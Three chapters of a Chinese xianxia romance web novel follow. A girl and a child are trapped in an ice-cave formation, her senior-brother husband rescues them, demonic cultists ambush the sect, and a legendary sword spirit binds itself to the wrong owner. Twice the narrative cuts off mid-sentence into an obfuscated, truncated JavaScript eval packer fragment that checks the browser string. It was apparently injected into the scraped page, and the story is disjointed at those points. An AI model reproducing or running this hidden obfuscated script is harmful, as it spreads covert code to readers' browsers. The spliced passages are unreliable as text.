此时这雪橇正坐着两个人,被灵兽拉着,在冰面上飞的两耳呼呼生风。 雪橇的底座是用灵木打的,两侧翘起,座位铺了厚厚的兽皮,软乎乎的,正好够凌欢和小金子并排坐。 冷冽的寒风呼啸而过,吹起两人额前的碎发,却并不觉得寒冷。 是凌欢的结界将两人罩着,能感受到风却不会刺骨。 “抓紧了别松手,我们要加速喽——” 凌欢的声音如银铃般被风带走,隔着大老远都能听到。 雪橇在冰面上滑开,速度极快,冰碴子从两侧飞溅起来。小金子吓得尖叫一声,随即又变成咯咯的傻笑。 凌欢拽着缰绳,脸都快笑僵了,嘴角怎么都压不下去。 冰脊兽拉着雪橇在冰场上兜圈子,越跑越快。 然后猛地一转弯——侧翻了。 一阵冲天的尖叫:“啊——” 凌欢和小金子像两颗被甩出去的雪球,齐齐飞进了旁边的雪堆里。 积雪又松又厚,两人砸进去只留下两个歪歪扭扭的人形坑。 过了一会儿,坑里伸出来一只小手摆了摆:“姐姐,你还活着吗?” 另一个坑里传话出来:“活着。” 气氛沉默片刻,然后从两个坑里齐齐爆出笑声,四条腿乱蹬,溅起一片雪雾。 小金子大叫:“姐夫救命啊!我和姐姐掉雪里了!” 凌欢本来已经爬起来了,一听这话又原路倒回去,跟着嗷嗷叫:“师兄救我!” 不远处目睹了一切的辛暮叹了口气,无奈地走过去。一手一个,把两人从雪里拎出来放在地上。 “疯成这个样子,可开心了?”他没用灵力,细细为凌欢扫去肩膀上的雪。 “开心!”凌欢猛地一甩头,帽子上的雪飞起来,溅了辛暮一脸。 她指着雪橇:“太好玩了,师兄和我们一起?” 辛暮抹了一把脸,语气宠溺中带着无奈:“都什么时辰了?该吃饭了。” 今儿老金夫妻俩要上山,把小金子托付给了凌欢她们,故而午饭是三人一起吃。 虽然辛暮早已辟谷,但跟凌欢结为道侣之后,每顿都会象征性的吃一点,美其名曰满足口腹之欲,好让凌欢吃得更自在一些。 今儿他做了四个菜,还有一大盆热腾腾的鱼汤。 那鱼是村里人送的冻鱼,他搁了姜片炖了小半个时辰,汤色奶白,一点腥味都没有。 凌欢喜欢喝鱼汤,小金子却是敬而远之。 她从小喝到大,现在是但凡有一点其他能吃的,都不会去碰鱼汤。 以辛暮的修为,御剑出去采买不算麻烦,小半天就能打个来回。故而在辛暮这里,小金子能吃到许多以往一年半载才能吃一次的东西。 比如小葱豆腐和春笋腊肉。 菜一上来,她就把自己吃成了个松鼠,把凌欢看得忍不住伸手去戳她的腮帮。 吃完饭,凌欢把碗一推,跟小金子达成共识,下午还玩雪橇。 辛暮收拾着碗筷,看了她俩一眼,似乎想说什么,但话到嘴边又咽回去。 小金子忽然想起什么,拽了拽凌欢的袖子:“姐姐,我知道有个地方,比这里的冰场高多了!去年我爹带我去过一次,从坡上滑下来可快了!” “真的?”凌欢眼睛亮了。 “真的真的!那坡有这么高——”小金子踮起脚尖,把手举过头顶,使劲往上够。 凌欢跟着抬头看了看她那只肉乎乎的小手,严肃地点点头:“那必须去看看!” 辛暮把碗摞好,接过话头:“欢儿,我下午要出趟门。” 昨夜凌欢升了太初六境,是时候帮她取本命灵剑了。 正巧今早他又察觉到附近似乎有灵力波动。 很早之前他就听藏月说过,紫光川藏着一把神器,周围环境凶险变幻莫测,只有有缘人方能得见。 既然感应到了,他就想试试探寻一下神器的具体方位,如果有可能,取来给欢儿再好不过。 不过这八字还没一撇的事,他一向不会提前说。否则万一根本找不到,或是那神器不愿认主,欢儿只怕是要失落难过。 所以还是等他先确定了,再告诉欢儿。 思及此处,辛暮含糊道:“我去北边探探地势,看看有没有新鲜的玩意儿。” 他说着,又转为交代:“你和小金子玩归玩,别跑太远。” 凌欢不疑有他,随便比了个手势:“师兄放心。” 辛暮出了门。 他御风往北飞了不到半柱香,就又折回去。 以往他做什么都把凌欢带在身边的,今日他少说也得天黑才能回,小金子又在,两人疯起来是不管不顾的,实在是有些操心。 上个月她就是跟小金子去捞鱼,结果把手腕给抻着了。 还有,他若是回来得太晚,她晚饭怎么吃呢?那时候老金夫妻俩应该回来了,也不知道会不会邀她去吃晚饭。如果没有,她晚上怕是得饿着自己…… 冰场边,凌欢和小金子正往雪橇上爬。 刚坐定准备拉缰绳,就看到辛暮从空中落下来,走到雪橇边,一言不发地往她储物袋里塞东西。 桂花糕、松子糖、两包肉脯、一袋子核桃仁、还有三个橘子。 凌欢嘴角抽了抽,忍不住出声:“师兄莫不是觉得我是个傻的?” 不过是出去玩玩而已,还能把自己饿死不成? 辛暮手上动作顿了顿,看了她一眼。 难道不是吗? 当着小金子的面,凌欢死不承认,故作老成的一推他:“哎呀师兄我都多大的人了,你不用那么担心。我不仅能照顾自己,还能照顾好小金子呢。” 她拍拍胸脯:“我可是仙女姐姐。” 小金子在旁边连连点头附和:“是呀姐夫,我们就去那边滑雪坡而已,我认识路的!” 说着她遥遥一指方向。 辛暮失笑,点了点两人额头,这才真的御风离开。 小金子说的那个山坡在万寂崖,离村子有段不近的距离。 两头冰脊兽拉着雪橇在雪原上跑,小金子一路倾着身子叽叽喳喳指路。 灵兽火力全开四爪冒火,也跑了将近一个时辰才到。 不过这景色也确实值得赶这么远的路。 凌欢仰头看过去,那山高耸入云,其间夹杂着黑色的岩石块,阳光洒在积雪上浮现出淡淡的金色,十分好看。 雪坡陡峭,还有凸出的岩石,冰脊兽拉着雪橇不好上,两人就拿了块前后翘起的木板,拖着往上爬。 费了老大的劲才爬到半山腰,凌欢把木板摆正,让小金子坐好,自己再坐到后面。 “准备好了没?” “好啦!” “冲——” 凌欢脚一蹬,雪板顺着山坡滑了下去。 这一滑可比冰场上刺激多了。 山坡上覆的全是新雪,松软厚实,雪橇滑过时扬起漫天雪雾。速度越来越快,时不时冲过石头还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且在天上的话,一旦出现意外,把小金子掉下去,那想找到她几乎是不可能的事。 她咬了咬牙,调动周身灵力加固雪橇的稳定。 冰脊兽跑得几乎看不清腿的轮廓,可身后的雪浪更快。 一道岔路口从右侧闪过,凌欢意识到那是个天然形成的冰窟。 眼看雪浪已经快要扑过来,她只能迅速一拉缰绳,改变方向。 两头冰脊兽猛地一拐,雪橇跟着甩过去。前方是一座山的侧壁,壁上裂着一道窄口。冰脊兽径直朝那道窄口冲去。 视线骤然一黑。 她们冲进了一个洞窟。 洞口朝下,是一条陡得几乎垂直的雪道。 雪橇在冲进来的瞬间翻了个底朝天,两头冰脊兽被惯性甩飞出去,连带着缰绳和断裂的木板散落一地。 凌欢只觉得自己在往下坠。 黑暗里什么都看不见,只有身体不断翻滚撞击的触感。好在她有护身结界,顶多撞青两块,不至于受很严重的伤。 雪道时而窄得让人喘不上气,时而又宽得摸不到边。 她一只手紧紧搂着小金子,另一只手胡乱在黑暗中试图抓住什么。 小金子在她怀里缩成一团,已经哭不出来声了。 不知道滚了多久,耳畔传来一声沉闷的巨响,她们似乎撞上了什么东西,终于不再往下滚了。 …… 北面百里外的一处山脊上,辛暮霍然回头。 好强的灵力波动,好强的压力! 那是……万寂崖的方向? 遭了,欢儿她们在那边! 他的脸色在一瞬间变得煞白,随即整个人化作一道青色流光,近乎疯狂的往回疾驰。 八大宗门的观灵台纷纷发出异动,弟子们急慌慌的跑去通知长老和宗主。 合欢宗亦不例外。 藏月以最快的速度赶到观灵台,那巨大的阵法如星芒,带着无数以“灵”形成的芥子在空中悬浮着。正常情况下,这里的以“灵”形成的芥子是拖着光尾规则围着重心运转的。 但现在,芥子们正蠢蠢欲动的指向某一个方向。 9. 陷阱? 凌欢从碎雪堆里撑起身子,甩了甩头上的冰碴。 疼。 浑身都疼。 后背撞青了一大片,左腿膝盖弯着的时候直打颤,右边肋骨底下不知磕在了什么上头,一喘气就闷闷地疼,耳朵里嗡嗡响了片刻才消停。 万幸的是没见血,摸一摸好像也没伤着骨头。 她顾不上仔细检查,先低头去看怀里。 小金子缩在她胳膊弯里,脸上蹭了好几道灰印子,皮帽早就不知道飞到哪了,两只眼睛红通通的,正仰着头看她。 “伤着哪儿了?”凌欢把人放到地上,从头到脚摸一遍。 她刚才把护身结界催加到最大,将小金子也笼罩在内。再加上她又一直紧紧抱着小金子,等于又多了一层人肉护垫,应当是不会有事。 小金子摇摇头,颤巍巍开口:“没……没有。” 凌欢松了口气,这才抬起头打量四周。 是个天然形成的冰窟。 冰壁平整光滑,像被刀切过的玉石。光线从不知道什么地方透进来,在冰层里折了几折,散成幽幽的蓝,照得整个洞窟像沉在水底。 头顶悬着冰柱,长的有半人高,短的和手指差不多,密密匝匝挂了一片,被那蓝光一映,泛出冷沁沁的银白色。 四周的冰壁上嵌着许多冰面,平得像镜子。 她一动,那些镜面里就有几十个自己同时转头看过来。 凌欢取出弟子令试了试求救,没有反应。又拿出一张通讯符注入灵力,符纸上的符文亮了亮,随即黯淡下去。 这里有隔绝屏障。 她将符纸收回储物袋不再做无用功。 小金子扯着她的衣角,声音里带了哭腔:“姐姐,这里是哪儿?我从来没来过……我想回家。” 凌欢弯下腰,拍拍她的肩膀。 “咱们先找路出去。”她牵住小金子那只裹在长袖子里的小手,“跟着姐姐走,别害怕。” 说来也怪,本来她也是心慌意乱有些害怕的,但这话一说出口,竟莫名的生出了许多勇气,连带恐惧也全都消散了,只剩下一种“现在只能靠我了”的临危受命感。 虽然她前十几年都是躲在师兄师姐们身后被保护的那一个,但真到了身边都是弱小的时候,她就能自然而然的担起责任。 小金子吸了吸鼻子,点点头。 冰窟往好几个方向延伸出通道,每条通道看着都差不多,幽蓝的光在尽头拐个弯就看不见了。 凌欢想了想,挑了一条略宽的路。 脚下的冰面并不平整,有些地方凸起冰疙瘩,有些地方又滑得站不住。她牵着小金子深一脚浅一脚地往前挪,靴底踩在冰面上发出咯吱咯吱的声响。 走了一段,通道变窄了。两侧冰壁朝中间挤过来,只容一个人侧身通过。 凌欢让小金子走在前面,自己在后面护着。 小金子人小好钻,她费了些劲才挤过去,裙摆挂在一根横出的冰锥上,嘶啦一声扯了道口子。一片粉色的布料留在冰锥尖上,她也顾不上管。 走了小半个时辰,前面又分出三个岔口。 凌欢停下来,抬手探了探。 一道岔口的风是死沉沉的,干冷。另一道的空气里带着极细微的水气。还有一道,灵力在其中流动的速度比别处快一点点。 有水的地方……应该连通外界的吧? 她牵着小金子拐进了有水气的那条。 又走了半晌,两人转过一个弯,眼前忽然开阔了些。凌欢刚要松口气,余光扫到左侧冰壁上挂着一小片粉色的布料。 她站住了。 小金子顺着她的目光看过去,认出了那是凌欢裙子上的布,嘴巴一瘪。 “姐姐,咱们又绕回来了。” 凌欢盯着那片布料看了两息,随即蹲下身,一只手按在脚下的冰面上。 灵力探入冰层,能感知到一些极细微的纹路。那些纹路不像天然形成的冰裂纹,走向太规整了,像是某种阵法的灵力回路。 天然法阵。 这冰窟里有一个天然的阵法。 她站起身,掌心凝出一团灵力,试探性地往脚下注入。 灵力刚一触到冰面,周围的空气便轻轻震了一下,那道幽蓝的光随之晃了晃。 有反应。 她开始尝试着调整灵力的大小和方位,一边试一边往前走。每走几步就蹲下来探一探,再走几步再探一探。 小金子跟在她后头,一开始还紧紧攥着她的衣角,慢慢的手就松了些劲。 这里看起来不太危险,还是不要打扰姐姐找出口了。 又绕了一圈回到原地时,小金子终于没忍住,扯了扯她的袖子。 “姐姐,我饿了。” 凌欢拉她在一旁一块平整些的冰台上坐下,从储物袋里往外掏东西。 边掏边感慨还是师兄想得周到,要不然这种鬼地方,她上哪去给小金子找吃的? 小金子伸手抓了块桂花糕大口吃着。 凌欢靠着冰壁,看着那些镜面一样光滑的冰面上映出的自己,脑子里在思索。 刚才她在尝试破阵的时候,发现了一件古怪的事。 她的灵力在运转时会受到某种压制。 这种压制不是阵法带来的,而是来自整个冰窟深处,像是有什么东西在持续释放着限制力。越往某个方向走,压制就越明显。 那个方向她方才探过两次。 每次都是走到一半就退了回来。 退回来不是因为压制,而是因为那里有一种莫名的吸引力,像是有东西在蛊惑着她往里走。 又吸引着她,又压制着她的灵力。 太像陷阱了。 若是平常,师尊或者师兄在身旁,她定是要提出来去看看的。 但现在情况不一样,她身边还跟着小金子,不清楚前方有什么未知的情况,她不能冒险。 如果压制是从中心向外辐射的,那朝压制小的方向走,就是在远离中心。 确定了路线,她把东西收回储物袋,只留了一颗松子糖塞进嘴里,拍拍手站起来。 “走。” 这次她挑的是压制最弱的方向。 但走着走着,就又绕回了原路。 凌欢:“……” 就非得让她明知山有虎偏向虎山行呗? 她就偏不! 合欢宗的基础功课里讲过,天然形成的阵法虽然千变万化,但都有一个共通点——阵法的运转依赖于灵力场的闭合回路。要想出去,必须找到那个回路的薄弱点。 她深吸一口气,将灵力铺开,重新感应那些冰下纹路的走向。 这一次她不再刻意远离某个方向,而是专心顺着灵力纹路的缝隙走,时不时的将身上布料撕下来一小截绑在路边冰锥上以做标记。 …… 万寂崖上,八大宗门的人来了大半。 崖顶积雪被踩得翻起,各色法衣在白色的雪地上格外扎眼。弟子们三五成群低声议论,长老们聚在一处,脸色都不太好看。 观灵台监测到的灵力波动就是从这片区域传出来的。那道波动太强,不像是寻常异宝现世,倒更像是某种封印在松动。 “传说中长曦神女陨落之前,将本命灵剑溯光封在了极北之地。”说话的是千机阁的长老,千机阁里阵修居多,又主营情报,消息更灵通些。 本来知道这里藏有神器的人就少,知晓详细内情的更是寥寥无几。现在产生了这么大的灵力异动,这消息一下子就变得不值钱了。 旁边有人叹息:“长曦神女当年为护佑苍生而死,若是溯光重现……” 话没说完,一道声音从后方传来。 “若真是溯光重现,说明它的下一任主人已经在附近了,溯光不会无缘无故解封。” 说话的人从人群中缓步走出来。 那人看起来约莫二十多岁,穿一袭月白长袍,腰间系着素色锦带,身上没有多余的配饰。眉眼生得温和,嘴角微微上扬,不笑的时候也像是在笑。 他往那一站,周围的弟子不由自主让开了一条路。 凌云宗宗主,琅玕。 目前修仙界达到无极境的有两人,一个是万剑宗那位修无情道的老祖宗,常年闭关,不问世事,在场的人里没几个见过他。 另一个就是眼前这位。 虽然修为在无极境,在修仙界几乎是没有敌手。但他为人依旧是谦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可修为越高,能遇到的挫折就越少,也很难再遇到能让心境产生动荡的事情。 修仙界高阶修士之间很少起冲突,就算是切磋比试也都不自觉的拿捏着分寸,必不能露出“有意刁蛮”的意思。妖兽也近不了身,想找个能让自己吃点苦头的机会都难。 于是有人另辟蹊径——造一个分身,将自己的神识封进去,到尘世间去经历生老病死、爱恨离别,磨练心性。 等神识归位,那些在凡间积攒磨砺便会化作突破瓶颈的助力。 此法虽然有用,但用得人还是少。 毕竟要把神识全都放在分身上,又没有记忆,完全没有自保能力,很容易吸引仇家或者妖魔。若是被盯上,吞噬元神,那就全完了。 素尘的徒儿已经停留在太清六境很久了,迟迟无法突破太臻一境。素尘自知大限将至,青囊谷不能没人接手。 如此情形,不破不立,去凡尘历劫倒确实是最好的法子。 交谈间,又一道青光闪来,直直到了藏月身边。 辛暮衣袍上沾满了雪屑,束发的玉冠歪了些,几缕碎发散在额前。落地时力道都没收住,脚下的积雪被震得四散飞起。 “母亲。” 辛暮顾不上礼数,快速道:“找到了那两头冰脊兽,雪橇的残骸在更远的地方,欢儿一定就在这里!” 藏月心里咯噔一声,还没来得及开口,琅玕的声音就先插了进来。 “确认了人在里面?” 辛暮下意识的点头,想到什么,又补充了句:“还有个六岁的孩童。” 琅玕脸上最后那点笑意不见了。 他转过身,带着灵力的声音扩散开来。 “诸位,列位宗门今日齐至此地,所为何事各人心中有数。但在神器之外,此刻有两名生者被困于此山之中。一位是合欢宗弟子,一位是此地的凡人幼童。” 他抬手,指尖在空中划出一道月白色的光。 “烦请诸位助我结阵,先寻阵法入口。” 10. 神器认主 凌欢牵着小金子,在那些岔路间来回绕了快一个时辰。 她在每个走过的转角都绑了布条,粉色的碎布系在冰锥根部,隔几步就能看见一片。 靠着这个法子,她渐渐摸清了哪些路是死循环,哪些路会把人引回原点。 灵力纹路的走向越来越清晰,她在脑子里已经大致画出了一张阵法的骨架图。 但她发现了一个让她后背发凉的事实。 无论她怎么绕,最终走过几圈之后,她和中心点的距离还是在缩短。 不是她在往中心走。 是阵法在变。 她每解开一个回路,阵法就会重新闭合一次。而每次闭合,中心点都会朝她所在的方向挪一点。 “姐姐。”小金子攥着她的手指,弱弱地问,“我们不会要死在这里吧?” 凌欢脚步停了一瞬。 “别瞎说,我们一定能出去。”这话她自己听着都心虚。 话音刚落,整个冰窟猛地一震。 灵力场巨震,冰壁上那些镜面一样光滑的切面同时出现了裂纹。裂纹从中心向四周扩散,发出密集的碎裂声。 头顶的冰柱簌簌往下掉,砸在脚边的冰面上碎成几截。 小金子尖叫一声,凌欢一把把她扯到怀里,往后退了两步才堪堪避开。 有人在外试图破阵。 冰窟开始坍塌。 凌欢拽着小金子在掉落的冰块之间左闪右避。大块的冰从头顶砸下来,碎屑溅了她一身。脚下的冰面裂开一道口子,她一脚踩空,就又滑进了冰道。 这条冰道比来时那条更陡,几乎没有底。 冰壁上全是尖利的冰棱,凌欢把小金子的头按在自己胸口,侧过身子用后背去撞那些冰棱。 这里灵力压制太强,护身结界的效果几乎等于没有。 耳边是冰层碎裂的声响和冰碴飞溅的沙沙声。 忽然,有一只手抓住了她的手腕。 那只手骨节分明,力道极大,五指收拢的瞬间便将她整个人拽了过去。 凌欢撞进一个熟悉的怀抱。 松木香混着冰雪的冷气涌进鼻腔。 她抬起头,在飞速下坠的黑暗中看见了辛暮的下颌线。 “师兄——” 辛暮没有说话。 他一只手箍着她的腰,另一只手撑开结界,淡青色的光在黑暗中亮起,将三个人同时罩住。凌欢感觉到他在试图御风减速,但灵力刚一放出去就被某种力量压了回来。 这里的压制比上头强了不止一倍,他的灵力运转明显滞涩了许多。 下坠的速度只是略微减缓了一些。 不知过了多久,脚下终于见了底。 辛暮在落地前硬生生将身形翻转了半圈,自己后背先着地,凌欢和小金子摔在他身上,听得浅浅的闷哼一声。 周围安静下来。 凌欢从辛暮身上爬起来,先看了看怀里的小金子,又问师兄怎么样有没有事。 辛暮朝她笑了笑,让她安心。 凌欢这才有空去看看四周环境。 这是一个巨大的地下空间,光线幽暗,向上看几乎看不见顶,只有幽蓝的光从上方极远处渗下来。 空间正中央有一座圆台,通体是冰,表面平滑如镜,只是这镜子上有一道裂缝,缝隙里斜插着一把剑。 剑身是极淡的冰蓝色,几乎要融进周围的冰光里。 但剑刃上隐隐镀着一层金色的光,像是有极细的金丝嵌在剑身中,每隔几息便流转一次。 圆台后方是一道断崖。 崖下是深不可测的漆黑,隐约能听见极深处传来水流的声音,沉闷而持续,像是地下暗河在缓缓流动。 周围有光点在飘。 那些光点极小,每一粒都发出淡黄色的荧光,在幽蓝的暗色中无声地浮动着,时聚时散,如萤火虫一般。 辛暮的目光却不在那些光点上。 “你受伤了。” 凌欢低头一看,这才发现右边小臂外侧被划了一道口子。 伤口不算深,但很长,从手腕上方一直拉到肘弯附近。血已经顺着小臂淌到了手背上,把袖口洇湿了一大片。 因着这里温度太低,她胳膊有点冻麻了,故而也不算疼。 她还没来得及说话,辛暮已经托住了她的手腕,从储物袋里翻出纱布和伤药。 他动作很快,先用清洁咒清掉伤口周围的血污,上了药,再用纱布一圈一圈缠紧。 打结的时候他的手指微微发颤。 早上他明明已经察觉到了异动,为什么不把欢儿带在身边?以往二人都形影不离的,怎么偏偏就今日把欢儿自己搁下了? 出门前信誓旦旦的保证一定会保护好欢儿,可这才过了多久,他就让欢儿差点命丧于此。 是他不对。 都是他的错。 他不是个合格的道侣。 凌欢突然感觉气氛有点沉闷,便想着转移一下话题。 “师兄,你怎么找到我的?” 辛暮把纱布结塞好,没有抬头,不敢面对她。 “是那些布条。”他说话的声音有点哑,不似平常那般云淡风轻,“还好你留下了记号。” 外面的人开始联手破阵的时候,整个冰窟的内部结构都受到了冲击。 他感应到里面的冰层在坍塌,等不及大部队打开入口,直接从一处震裂的冰隙里钻了进来,疯了一样的找人。 还好他提前进来了。 否则这里没办法使用灵力,又马上要坍塌,欢儿独自一人该有多绝望。 凌欢看着他衣袍上破破烂烂的缺口,想说的话到了嘴边又咽回去。师兄一向注重仪表,弄成这样可想而知是经历了什么。 头顶传来动静。 先是藏月的声音,带着灵力穿透下来:“欢儿,辛暮,你们在这里吗?” 辛暮提声应了一句。 很快,上方有衣袂破风的声响,两道身影从黑暗中落下来。 藏月一落地便快步走到凌欢面前,上下扫了一遍,目光落在她缠了纱布的小臂上。 “伤得重不重?” “皮外伤,不碍事。”凌欢赶紧抬起来胳膊展示,“师尊您看,都不疼的。” 藏月气得按住她手腕:“你这孩子!” 小伤也得给它弄成大伤了。 琅玕落后藏月半步,落地后先扫了一圈四周,路过那把剑时不着痕迹地停留了片刻。 陆续有弟子和长老从上方落下来。 大多数人留在外面守着,下来的都是各宗的精英弟子和长老,约莫二十来人。每个人都落地后的第一反应出奇一致——先看那把剑。 千机阁的一位长老盯着那剑看了半晌,忽然失声道:“是溯光!这就是溯光!” 他指着剑身上流动的金色光丝,声音激动:“阁中卷宗里有记载。剑身冰蓝,刃含金缕。这就是长曦神女的本命灵剑溯光!” 人群哗地一声炸开了锅。 有往前挤着想看清的,有交头接耳议论的,还有一个阵修长老已经在盘算怎么解开圆台上的封印。 辛暮此时也顾不上神器了,一心只想着把欢儿带出去,便没往前凑。 就在此时,上方又传来一阵响动。 几根绳索从天而降,陆续滑下来几十人,皆一身黑衣,面戴面具,身上依稀可见魔气痕迹。 有人怒斥:“是血煞门!他们要来抢神器!” 回应他的是“砰砰砰”的几声肉|体落地的声音。 是几个凌云宗弟子被反绑着手扔了下来,口鼻间全是鲜血,可见伤得不轻。 血煞门的弟子嘿嘿一笑,走到凌云宗弟子身侧,将剑搭在他们脖颈边。 人群一下子沉默下来,大家不由自主的看向琅玕。 血煞门的人当真是精明,知道这里就算有修为压制,无极境的琅玕也是最难对付的,所以专挑凌云宗弟子绑了做人质。 最后一个顺着绳索滑下来的是一个大胡子魔修。 他身材魁梧,比寻常男子高出一个头,肩宽背厚,穿着一身暗红色的重甲。一张方脸,颧骨横突,密密麻麻的胡子遮住了半张脸,邋遢得很。 这人在座各位很难不认识。 血煞门大护法路异,现任血煞门尊主的忠心走狗。 他这次带来的魔修少说有百余人,个个面带凶煞,手中的兵刃上魔气缠绕。 “都别动。”路异轻巧的把手中刀尖抵在一个凌云宗弟子的头上,目光在众人脸上扫过,最后落在琅玕身上,“琅玕宗主,这是你哪位长老的宝贝徒儿?你可别轻举妄动啊,要是吓着我,我这手再一抖,说不准就穿过去了。” 众弟子面面相觑,谁都不敢动,毕竟血煞门凶名在外,真失手害死了凌云宗长老的爱徒算谁的? 琅玕站在原地始终沉默不语,不知在想什么。 那个被刀尖顶住头的弟子咬牙吐出一口血来,恶狠狠回头看路异一眼。 这动作幅度很大,陆异一挑眉,想来是没想到他竟真的不管不顾,不由得把刀往后撤了半寸。 然而那弟子却突然疯魔了一样,哈哈大笑一声,怒道:“你们血煞门天怒人怨,我今日就算是死,也不会沦为你们牵制宗主的棋子!” 说完不等陆异反应过来,直接将脖子撞在刀尖上。 “噗嗤——” 人倒下了。 在场所有人,包括陆异在内,都被惊呆了。 “你你你……” 陆异差点跳起来,弯腰就想去探地上躺着的人:“不是你这人怎么还碰瓷呢……” 正道这边的弟子一下子就爆发了,纷纷召出法器,拉开阵仗。 后面的魔修们一看要打了,也毫不示弱,亮出兵刃迎上来。 不知是谁先动的手,两拨人瞬间撞在了一起。 冰窟里顿时刀光剑影,灵力与魔气碰撞的爆裂声此起彼伏。 辛暮把凌欢挡 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“小金子——” 凌欢的身形几乎化成了粉色的流光,一眨眼的功夫就冲到崖边,纵身跳了下去。 “欢儿!” 辛暮的声音在身后响起,被几个魔修缠住的身影拼命想往断崖边冲。一个魔修趁机一刀砍在他后背上,他身形一晃,剑锋回扫逼退了三人,又被另两人堵住了去路。 凌欢在急速下坠。 她伸手去捞小金子的衣角,指尖碰到了,却抓不住。 灵力凝聚了三次,每次都只能闪一瞬便熄灭。这里的压制比上头更强,强到她几乎与凡人无异。 头顶上有人也跟着跳下来了。 是琅玕。 他倒是能用灵力,而且看起来还不弱,只是用来接的不是人,而是溯光剑。 然而就在他握住剑柄的那一瞬,溯光剑猛地一震。一股强大的力量从剑身中涌出,直接弹开了他的手。 剑身在空中翻转几圈后,兀自掉转了方向,朝着凌欢飞去。 凌欢还在拼命伸手够小金子,忽然感觉到一股力量从下方托住了她的腰。 她低头,看见那把冰蓝色的剑不知何时已到了她身下,剑身横亘,稳稳地接住了她。 有了速度缓冲,她和小金子之间的距离骤然拉进,她赶紧把人拽过来揽进怀里。 小臂上的伤口在刚才的拉扯中又裂开了。 血从纱布里渗出来,顺着她的手腕滴下去,落在剑身上。 血珠碰到剑身的一刹那,那层金色的光像是被点燃了,骤然炸开。 光芒直冲穹顶,将整个地下空间照得亮如白昼。所有的冰面同时反射出耀目的金光,那些飘浮的黄色光点被冲得四散飞舞。 混战中的所有人都停住了手。 只见溯光托着凌欢和小金子,缓缓上升,越过断崖边缘,平稳地落在平台上。 凌欢脚刚沾地,溯光便从她脚下飞出,剑尖朝下,悬浮在半空中。剑身上的金色光丝一层一层地向外扩散,在空气中逐渐勾勒出一个人形轮廓。 那是一个男人的身形,高大修长,穿一身浅金色的广袖长袍,衣袖无风自动。一头金发垂到腰际,发间没有任何装饰,却隐隐有光在流动。 他的面容极年轻,眉眼之间却没有任何属于年轻人的情绪。 那张脸生得极好看,好看得不像是真人,倒像是壁画上被香火供了千年的神像。 他睁开眼。 瞳孔是极淡的金色,看向人的时候不带任何温度,高高在上的俯视。 男人缓缓落在凌欢面前,单膝跪地,一只手按在胸前,朝凌欢低下头。 “溯光,见过主人。” 声音清冽,带着些被时光侵染过的沧桑,在寂静的地下空间中回荡。 凌欢呆呆的看着他,男人垂着眸,目光神圣又虔诚,呈现出臣服的姿态。 整个冰窟鸦雀无声。 藏月站在人群中,看着这金发男人,欣慰的同时更有些担忧。 欢儿如今还不到太清境,在众目睽睽下得到了神器,于她而言不知是好事还是坏事。 千机阁的长老人已经完全愣住了,一句话都说不利索:“剑灵认主……溯光剑灵……竟真的存在……” 千年前的神器认主,剑灵现世。 在场的人里,绝大多数终其一生都不会有机会见到这样的场面。 剑灵一向不会长久的出现在人前,故而溯光的人形维持了不到十息,就开始消散,化作细碎的金色光点,如流沙般回拢到剑身中。 溯光剑从半空中落下,剑尖朝下,无声无息地插入凌欢脚边的冰面。 剑身轻颤,发出极细微的一声嗡鸣。 凌欢站在原地,低头看着那把剑,半晌都没回过神来。 11. 后悔了 “什么意思?” 藏月眉头一挑,不可置信道:“你是说,溯光后悔了?” 凌欢尴尬地朝院子里瞥了一眼,虽然很不情愿承认,但还是默默点了点头。 这里是冰雪村她们住的那间木屋。 神器已经认主,尘埃落定,其余几大宗门的人就算再不甘心也得作罢,挨个上来走个过场说点诸如恭喜合欢宗得到神器之类的客套话,就各自散去了。 此刻凌欢正吊着胳膊坐在床边。 藏月站在她面前,辛暮靠在门框上,两个人的目光都落在她身上。 而她的目光,则落在院子里那个金发男人身上。 溯光正在来回暴走。 他的广袖也不飘了,金发也不流光溢彩了,地老鼠似的从这头窜到那头,再从那头窜回来。 走了七八个来回之后猛地顿住,身子一折,仰天九十度,发出一声痛彻心扉的哀嚎。 “啊——” 然后直起身,啪地抽了自己一巴掌。 “怎么就认错了呢!” 凌欢默默地收回视线。 这暴躁小哥跟刚才那个不食人间烟火的神仙,真的是同一个人吗…… 剑灵是特殊的存在,没有实体,正常情况下只有主人才能看见听见他。 若想在旁人面前现形,需得消耗大量灵力,普通剑灵根本支撑不起。 藏月虽然看不见溯光,但瞧自家徒儿对着空气一脸疑难杂症的表情,心里便大致有了数。 “师尊……”凌欢愁眉苦脸地抬起头,“这血誓,有办法解开吗?” 藏月叹了口气:“别想了。你当灵器认主是过家家吗?血誓已成,除非主人身死道消,否则无法可解。” ——不过眼下凌欢这情形,跟过家家也差不了多少了。 她活了五百多年,还是头一回听说剑灵认主之后还带后悔的。 凌欢恨不得钻进地缝里去。 当时溯光剑认主之后,剑灵消散,她以为这事就算完了。结果从万寂崖回来的路上,那剑灵突然又冒了出来。 一出来就冲上来想抱她,嘴里还嚷嚷着:“曦宝你总算来接我了!怎么样,刚才够不够有面子?” 抱了一下没抱住,从她身体里直接穿过去了。 “哈哈忘了现在不是实体状态了……” 凌欢不知道他到底想干什么,只能尴尬地回:“我叫凌欢,不叫曦宝,你是不是认错人了?” 溯光愣了一下,飘回来盯着她看了半晌,然后大惊。 “你是谁啊?曦宝呢?我刚才明明感觉到她了!” “……不知道诶。” 然后他就破防了。 他开始满地乱走,边走边薅自己的头发,嘴里骂骂咧咧。 “让你瞎!让你瞎!”每骂一句就拍一下大腿,“契那么快干什么!多看一眼能死吗!认错人也就算了,还是个太初境的菜鸡!真是睡久了脑子都睡傻了!” 凌欢只能僵硬地站在原地,眼睁睁看着这位传说中长曦神女的本命剑灵,从神坛上骨碌碌地滚下来。 气氛总这么尬着也不是个事。 